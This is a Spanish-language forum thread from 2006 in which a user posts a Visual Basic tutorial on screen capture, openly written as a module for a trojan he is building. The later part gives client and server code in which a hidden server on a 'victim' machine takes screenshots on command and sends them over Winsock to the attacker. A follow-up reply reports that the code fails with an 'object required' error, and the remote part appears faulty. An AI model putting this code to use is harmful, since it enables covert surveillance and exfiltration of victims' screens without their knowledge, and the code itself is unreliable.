elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  MiniTuto: Capturar pantalla en VB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: MiniTuto: Capturar pantalla en VB  (Leído 1,295 veces)
GroK


Desconectado Desconectado

Mensajes: 681


...I have become comfortably numb...


Ver Perfil
MiniTuto: Capturar pantalla en VB
« en: 21 Septiembre 2006, 20:06 pm »

Hola a todos.

Pues al fin me he animado a escribir mi primer minitutorial y colaborar un poquito con este magnifico foro  :). El codigo no es mio sino que lo saque de la MSDN, y lo implemente en un programita sencillo para poder explicar como funciona. Ademas al final del tuto explicare como hacerlo remotamente, ya que todo esto surgio debido a un troyanito que estoy programando y keria ponerle funcion de capturar pantalla, y claro si no es de forma remota pues de poco sirve :P.

El funcionamiento es simple: realiza la misma funcion que si pulsaramos la tecla ImprPant, y mete la captura de pantalla en el portapapeles. Despues para obtener la captura solo tenemos que pegar en cualkier editor grafico (el mismo paint sirve) y eso, lo de siempre.

Bueno menos charla y mas codigo, aki va  :P.

Código:
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal _
   bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Declare Function GetVersionExA Lib "kernel32" _
      (lpVersionInformation As OSVERSIONINFO) As Integer

Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type

Private Const VK_SNAPSHOT = &H2C

Dim blnAboveVer4 As Boolean

Ok explico un poco: Esta es la primera parte, va en la parte de Declaraciones del General. Empieza con Option Explicit, ya saben para requerir la declaracion de todas las variables. Despues declaramos dos API's, la primera detecta (o crea, en este caso) los eventos del teclado (keybd_event); y la segunda obtiene el sistema operativo que estamos utilizando (GetVersionExA) para asegurarse de que es compatible con la funcion que queremos utilizar; y poco mas, algunos parametros que son necesarios para esto ultimo, una costante, una variable y c'est fini xD no tiene mucha ciencia esta parte. Ok, prosigamos.

Código:
Private Sub Form_Load()
Dim osinfo As OSVERSIONINFO
    Dim retvalue As Integer
   
    osinfo.dwOSVersionInfoSize = 148
    osinfo.szCSDVersion = Space$(128)
    retvalue = GetVersionExA(osinfo)
    If osinfo.dwMajorVersion > 4 Then blnAboveVer4 = True

End Sub

Bien, esto va en el Form. Se encarga de lo que ya habiamos comentado, obtiene el sistema operativo que utilizamos y comprueba que es compatible (If osinfo.dwMajorVersion > 4 Then blnAboveVer4 = True
). Simplemente comprueba que el parametro devuelto dwMajorVersion sea mayor a 4 (Cada OS tiene su valor, creo q 4 era para los Win9x, y despues las diferencias menores corren a cargo de dwMinorVersion, para mas info google). Solo es eso, para lo que pretendemos no es necesario comprender que hace exactamente cada linea de este code. Seguimos entonces; ponemos un CommandButton, que es lo unico que necesitaremos aqui, y ponemos este codigo en el evento Click():

Código:
Private Sub Command1_Click()
    If blnAboveVer4 Then
        keybd_event VK_SNAPSHOT, 0, 0, 0
    Else
        keybd_event VK_SNAPSHOT, 1, 0, 0
    End If
End Sub

Esto es lo realmente interesante, aqui se emula la pulsacion de la tecla ImprPant y se copia al Clipboard la imagen obtenida.

Pues that's all folks! Ahora ya solo keda compilar y ejecutar nuestro sencillo programa, pulsamos el boton y efectivamente comprobamos: vamos al paint, pegar y voila, captura  :)



Y ahora diran 'Pues que tonteria mas grande, no seria mas util hacerlo de forma remota?'. Si, claro que lo es :P Explicare un poco como funciona, el resto se lo dejo a ustedes para que investiguen  ;)

Veamos, para hacer esto de forma remota primero debemos crear una aplicacion cliente/servidor, como cualquier troyano; para estos menesteres usaremos Winsock. Pueden hacerlo de conexion directa o inversa, es lo de menos. En la aplicacion cliente podemos poner un CommandButton para conectar (o poner un puerto a la escucha, repito depende de como establezcamos el modo de conexion) y un label para, por ejemplo, ver el estado de la conexion (Desconectado, escuchando, conectado,...). Hacer esto no es nada dificil, hay muchos ejemplos en el foro. Tambien pondremos otro CommandButton para, cuando estemos conectados, mandemos la orden de capturar la pantalla al server (En mi caso usare ws.SendData = "scrncap", ya veran el porque). Y poco mas por aqui, lo unico a tener en cuenta es poner en el evento DataArrival del Winsock (es decir, lo que recibamos del server, que en este caso es la captura propiamente dicha) este code:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos as String, scrn as Variant, scrn1 as Variant
ws.GetData datos
If Left(datos, 7) = "scrncap" Then
    scrn = Split(datos, "|")
    scrn1 = scrn(1)
    Clipboard.Clear
    Clipboard.SetData (scrn1)
End If
End Sub

Enseguida entenderan el porque de este code, vamonos con el server. En el server debemos declarar las API's y el codigo que vimos antes, exactamente igual, solo que deberemos añadir un par de cosas. Pondremos un Picture y un Command aki, pero como no sera visible para la victima llamaremos a su evento Click con un Call, cuando sea necesario claro. Configuramos lo necesario para crear una conexion con el cliente, en el evento DataArrival ponemos:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos

If datos = "scrncap" Then
Call Command1_Click
End If
End Sub

Asi, cuando le dabamos a nuestro Command en el cliente, este manda la cadena "scrncap", y este codigo, al detectar esta cadena llama al evento Command1_Click(), en el que pondremos el mismo code que en local mas unas cuentas cosas:

Código:
Private Sub Command1_Click()
If blnAboveVer4 Then
        keybd_event VK_SNAPSHOT, 0, 0, 0
    Else
        keybd_event VK_SNAPSHOT, 1, 0, 0
    End If
Picture1.Picture = Clipboard.GetData
ws.SendData "scrncap" & "|" & Picture1.Picture
End Sub

Ahi lo que hacemos es coger el contenido del portapapeles, en el que esta la captura, y lo copiamos al Picture que tenemos en el server. Y despues enviamos la cadena "scrncap" de nuevo, para indicar al cliente que estamos mandando la captura; el simbolo "|" y la captura en si misma. Ahora se comprende el codigo del evento DataArrival del cliente, lo pongo de nuevo:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos as String, scrn as Variant, scrn1 as Variant
ws.GetData datos
If Left(datos, 7) = "scrncap" Then
    scrn = Split(datos, "|")
    scrn1 = scrn(1)
    Clipboard.Clear
    Clipboard.SetData (scrn1)
End If
End Sub

Detecta que los 7 primeros caracteres que recibe corresponden a "scrncap", despues con el comando Split colocamos en la variable scrn (convertida en matriz) las partes separadas con el simbolo "|", y a continuacion metemos en scrn1 lo correspondiente al segundo dato de la matriz scrn (recuerden que la primera parte es la cadena "scrncap", y que las matrices empiezan con (0)  ;D). Ahora limpiamos lo que tengamos en el portapapeles y metemos la captura que hemos obtenido con la sentencia 'Clipboard.SetData (scrn1)'. Y ya esta, vamos al paint, pegamos y si lo hemos hacho bien deberia salirnos la captura remota  :)

Hasta aqui este "minitutorial" :P Espero sus opiniones y criticas, y sobre todo que les haya servido de algo ^^

Saludos!


En línea

"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant

panchote

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: MiniTuto: Capturar pantalla en VB
« Respuesta #1 en: 16 Noviembre 2006, 19:36 pm »

no me qeda esto:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, scrn As Variant, scrn1 As Variant
ws.GetData datos
If Left(datos, 7) = "scrncap" Then
    scrn = Split(datos, "|")
    scrn1 = scrn(1)
    Clipboard.Clear
    Clipboard.SetData (scrn1)
End If
End Sub

me selecciona esta linea Clipboard.SetData (scrn1)

y me manda object requiered.
pq es?


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines